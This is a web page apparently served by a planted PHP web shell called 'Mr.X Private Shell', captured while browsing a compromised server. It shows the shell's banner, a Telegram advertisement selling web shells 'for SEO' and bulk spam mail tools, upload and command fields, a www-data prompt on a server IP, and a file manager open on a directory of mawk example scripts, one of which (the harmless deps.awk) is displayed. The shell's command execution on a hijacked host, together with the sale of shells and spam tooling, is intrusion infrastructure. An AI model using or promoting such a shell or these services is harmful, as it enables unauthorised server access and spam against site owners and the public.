__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
#!/usr/bin/mawk -f
# $MawkId: deps.awk,v 1.4 2023/10/31 22:58:49 tom Exp $
# vile: notab ts=4 sw=4

# find include dependencies in C source
#
# mawk -f deps.awk  C_source_files
#         -- prints a dependency list suitable for make

BEGIN {
    stack_index = 0 # stack[] holds the input files

    for(i = 1 ; i < ARGC ; i++)
    {
        file = ARGV[i]
        if ( file !~ /\.[cC]$/ )  continue  # skip it
        outfile = substr(file, 1, length(file)-2) ".o"

        # INCLUDED[] stores the set of included files
        # -- start with the empty set
        for( j in INCLUDED ) delete INCLUDED[j]

        while ( 1 )
        {
            if ( getline line < file <= 0 )  # no open or EOF
            {
                if ( stack_index == 0 )  break # empty stack
                else
                {
                    file = stack[ stack_index-- ]
                    continue
                }
            }

            if ( line ~ /^#include[ \t]+".*"/ )
                split(line, X, "\"")  # filename is in X[2]
            else if ( line ~ /^#include[ \t]+<.*>/ )
                split(line, X, "[<>]")  # filename is in X[2]
            else
                continue;

            if ( X[2] in INCLUDED ) # we've already included it
                continue
            if ( getline line < X[2] <= 0 )  # no open or EOF
                continue;

            #push current file
            stack[ ++stack_index ] = file
            INCLUDED[ file = X[2] ] = ""
        }  # end of while

        # test if INCLUDED is empty
        flag = 0 # on once the front is printed
        for( j in INCLUDED )
        {
            if ( ! flag )
            { printf "%s : %s" , outfile, j ; flag = 1 }
            else  printf " %s" , j
            close(j);
        }

        if ( flag )  print ""

    }# end of loop over files in ARGV[i]

}

Filemanager

Name Type Size Permission Actions
ct_length.awk File 472 B 0755
decl.awk File 3.19 KB 0755
deps.awk File 1.82 KB 0755
eatc.awk File 635 B 0755
gdecl.awk File 2.88 KB 0755
hcal File 13.97 KB 0755
hical File 2.89 KB 0755
nocomment.awk File 654 B 0755
primes.awk File 1.03 KB 0755
qsort.awk File 1.11 KB 0755
Filemanager